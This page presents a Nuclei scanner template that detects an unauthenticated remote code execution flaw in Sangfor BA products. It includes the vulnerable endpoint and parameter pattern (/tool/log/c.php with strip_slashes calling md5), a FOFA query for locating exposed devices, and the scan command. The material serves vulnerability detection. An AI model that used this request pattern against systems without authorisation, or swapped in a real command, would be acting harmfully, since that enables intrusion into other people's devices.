Sangfor BA - Remote Code Execution

ID: sangfor-ba-rce

Severity: critical

Author: ritikchaddha

Tags: rce,sangfor,intrusive

Description

Sangfor products allow remote unauthenticated users to cause the product to execute arbitrary commands.

YAML Source

id: sangfor-ba-rce

info:
  name: Sangfor BA - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    Sangfor products allow remote unauthenticated users to cause the product to execute arbitrary commands.
  reference:
    - https://mobile.twitter.com/sec715/status/1406886851072253953
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="sangfor"
  tags: rce,sangfor,intrusive

http:
  - method: GET
    path:
      - "{{BaseURL}}/tool/log/c.php?strip_slashes=md5&host={{randstr}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5("{{randstr}}")}}'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c6dc32e396cc76c889df577ff84726b25ec3bf9e987485cd979b1b14e0c4e6970220499a29db08e3b18f6cf7918b552a6049e730df48f95e15a5696eb48019ddbbbd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/sangfor/sangfor-ba-rce.yaml"

View on Github